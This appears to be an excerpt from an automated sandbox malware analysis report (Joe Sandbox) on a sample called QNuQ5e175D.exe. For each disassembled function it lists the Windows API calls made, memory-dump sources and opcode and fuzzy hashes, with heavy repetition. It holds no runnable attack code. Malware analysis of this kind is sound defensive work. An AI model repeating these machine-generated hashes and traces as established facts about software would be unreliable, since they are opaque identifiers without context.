Instruction Fuzzy Hash: 44F0F4B0D1060EDBDB00DFA4D6497EFBBB4AB04309F00812AD941B6281D7B89248CBA9

Function 00401F03 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401F21
EnableWindow.USER32(00000000,00000000), ref: 00401F2C

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 220038190f5765e08acb68cab3f819293a66988b7b4b21bab0f24e91f41eee4f
Instruction ID: 14a8ef39102396d835bb54982d99b4aace68b6eedf0c4e81be07541ee7d8ceed
Opcode Fuzzy Hash: 220038190f5765e08acb68cab3f819293a66988b7b4b21bab0f24e91f41eee4f
Instruction Fuzzy Hash: FEE04F76908610DFE748EBA4AE499EEB3F4EF80365B20197FE001F11D1DBB94D00966D

Function 00405B5A Relevance: 3.0, APIs: 2, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B83
CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B90

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
Instruction ID: 1d4bd4e17b1592c090cadeee614c80d4297d43de2f88d62204b9ca700bb873e4
Opcode Fuzzy Hash: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
Instruction Fuzzy Hash: C9E09AB4600219BFFB109B64AD06F7B767CE704604F408475BD15E6151D774A8158A78

Function 00401598 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 004015AC
ShowWindow.USER32(?), ref: 004015C1

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 0f5042c3400ff8d174245560ea6e81256fc6b3c7d69c517c03b76bd4f09c2680
Instruction ID: 71f073bf0609ebb53fb67f9a0a806094daae3e6e017a449e2b81a31607f58fde
Opcode Fuzzy Hash: 0f5042c3400ff8d174245560ea6e81256fc6b3c7d69c517c03b76bd4f09c2680
Instruction Fuzzy Hash: AFE04F32B10514ABCB18CFA8FED08AE73A6EB44321310053FD502B36A4C675AD409B18

Function 0040696B Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403662,0000000C,?,?,?,?,?,?,?,?), ref: 0040697D
GetProcAddress.KERNEL32(00000000,?), ref: 00406998

Part of subcall function 004068FB: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406912
Part of subcall function 004068FB: wsprintfW.USER32 ref: 0040694D
Part of subcall function 004068FB: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406961

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction ID: f16a4ad3e9102b165210d3f50f6adbe363033f5fe81171ed8a06a41b6d2757eb
Opcode Fuzzy Hash: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction Fuzzy Hash: F1E08673504311AAD6105B759D0492772E89F89750302443EF986F2140DB38EC32A6AE

Function 00406067 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004030E2,C:\Users\user\Desktop\QNuQ5e175D.exe,80000000,00000003), ref: 0040606B
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040608D

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction ID: 9d50a09f5748d4f60ef03139cc16a9656d1073ae209d3065c053d14625e31d4c
Opcode Fuzzy Hash: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction Fuzzy Hash: 87D09E31654301AFEF098F20DE16F2EBAA2EB84B00F11552CB682941E0DA715819DB15

Function 00405B25 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403545,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00405B2B
GetLastError.KERNEL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405B39

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction ID: 2532c664264170c07cbc731aa09703a23e3881c092aaf3b019fc47175ec23a7b
Opcode Fuzzy Hash: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction Fuzzy Hash: 98C04C70604906DAD7505F219F087177960AB50741F158439A6C7F40A0DA74A455D92D

Function 73B02B98 Relevance: 1.6, APIs: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000), ref: 73B02C57

Memory Dump Source

Source File: 00000000.00000002.1569059369.0000000073B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 73B00000, based on PE: true

Associated: 00000000.00000002.1568940355.0000000073B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569611314.0000000073B04000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569637966.0000000073B06000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73b00000_QNuQ5e175D.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1154586761da4ff530967cbc4c91104ae9bfd54816eee0871d947a55bf6c1222
Instruction ID: 60aef688151944b77b5611006d932fbc885853a3e5776970ea50ec20a38539fd
Opcode Fuzzy Hash: 1154586761da4ff530967cbc4c91104ae9bfd54816eee0871d947a55bf6c1222
Instruction Fuzzy Hash: 914182F250430CEFEB25AF65DBC4B5D3B79EB54318F308436E8099F950E63598888B91

Function 004016A0 Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 004016BB

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 28dc5c50ebc12032345a7729cf35481b8c8bbd71f25d5d2fe63a1407a727cbb2
Instruction ID: b5cd7fb0f8cac405fb011e9cf8ea0a60cc8dc6b6af2237c550085c2a5a912803
Opcode Fuzzy Hash: 28dc5c50ebc12032345a7729cf35481b8c8bbd71f25d5d2fe63a1407a727cbb2
Instruction Fuzzy Hash: 1DF0903160812293CB1077B55F0ED9F26A49F8137CB21063FB112B21E1D6BCC902926E

Function 004028B6 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 004028D4

Part of subcall function 004064BE: wsprintfW.USER32 ref: 004064CB

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 0f8cdb930f0e9c051f1287ec62565a86da269e9ff4fc99f02ffc866b5b181b8c
Instruction ID: c79ba5cb2d88364bafa4f5c49a43b48020d8ed27846d342f9c81a2b2dcc73f01
Opcode Fuzzy Hash: 0f8cdb930f0e9c051f1287ec62565a86da269e9ff4fc99f02ffc866b5b181b8c
Instruction Fuzzy Hash: 9BE06D71904104ABDB00ABA5AE498FE73B9EB80355B20443FF101B04D4C77858109A2D

Function 00406412 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402E7C,00000000,?,?), ref: 0040643B

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b17b4e85cc10dff7c00d1995fa2300a068af545831f113dbcef6cd8b4d780b07
Instruction ID: 173efcb61436e01de2ec3b268cd8b302251cd5bc368a703a1804e99dfb897165
Opcode Fuzzy Hash: b17b4e85cc10dff7c00d1995fa2300a068af545831f113dbcef6cd8b4d780b07
Instruction Fuzzy Hash: 51E0BF72010109BFEF095F60DD4AD7B3A1DE708610B11852EF906D5051E6B5A9705675

Function 00406119 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004034BD,00000000,0041EA20,000000FF,0041EA20,000000FF,000000FF,00000004,00000000), ref: 0040612D

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction ID: 5447fabf40714e60d37a3b8d529c829a5aab84dab7567664cea5a9789522ebfd
Opcode Fuzzy Hash: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction Fuzzy Hash: DFE08C3221021ABBDF109E518C00EEB3B6CEB003A0F014432FD26E7050D630E86097A4

Function 004060EA Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403507,00000000,00000000,0040332B,000000FF,00000004,00000000,00000000,00000000), ref: 004060FE

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction ID: 2902185137110ca2ffdb2282e3c832ce644deeff7f1201e2b4f2572205eed693
Opcode Fuzzy Hash: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction Fuzzy Hash: D0E08C3221021AABCF109E508C01EEB3BACFF043A0F014432FD12EB042D230E9229BA4

Function 73B02A7F Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(73B0505C,00000004,00000040,73B0504C), ref: 73B02A9D

Memory Dump Source

Source File: 00000000.00000002.1569059369.0000000073B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 73B00000, based on PE: true

Associated: 00000000.00000002.1568940355.0000000073B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569611314.0000000073B04000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569637966.0000000073B06000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73b00000_QNuQ5e175D.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: f4b2d827fd437fd3b0a38c4d3cdf230342a6fe5f054660b2e062a59b43d6057d
Instruction ID: b5d7903ad1af9ce667ac863fee8e86c265d03bb468dcaa501a588e57e5c7eb55
Opcode Fuzzy Hash: f4b2d827fd437fd3b0a38c4d3cdf230342a6fe5f054660b2e062a59b43d6057d
Instruction Fuzzy Hash: 59F07FF2509280DED360EB2A878470E3FE4B728209B24A52BA19CDBE41F33454448F91

Function 00402419 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 0040244A

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 979b3f2ec0bc23d324c76cc3db4c1f8da93b0e1d0eaca7bbe8bd823efade59bd
Instruction ID: 53345aa50f94a5dbc05c73a67e8aa0b188b477950ab0ef6c1fe412bbc790425e
Opcode Fuzzy Hash: 979b3f2ec0bc23d324c76cc3db4c1f8da93b0e1d0eaca7bbe8bd823efade59bd
Instruction Fuzzy Hash: E7E04F3180021AAADB00AFA0CE0ADAD3678AF00304F10493EF510BB0D1E7F889509759

Function 004063E4 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,00406472,?,?,?,?,Call,?,00000000), ref: 00406408

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction ID: 12ce3b422fe6a0da393528f22193a7488631f194d1dbc4d2354a9349d97d7052
Opcode Fuzzy Hash: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction Fuzzy Hash: 34D0123204020DBBEF115F90DD01FAB3B1DEB08310F018836FE06A4091D776D570A758

Function 004015C8 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015D3

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: fc4ae7de1a988c572ae2e9f733057e11b5d74982a37415ce069d5c91d6d923cf
Instruction ID: cd4f68ad1bc4df61111a8e6125a37bec327b368bc2224c93a9ffc6bdd58994c4
Opcode Fuzzy Hash: fc4ae7de1a988c572ae2e9f733057e11b5d74982a37415ce069d5c91d6d923cf
Instruction Fuzzy Hash: 74D05B72B08101D7DB00DBE89B49A9E77A4DB50378B31853BD111F11D4D7B8C545A71D

Function 00404542 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

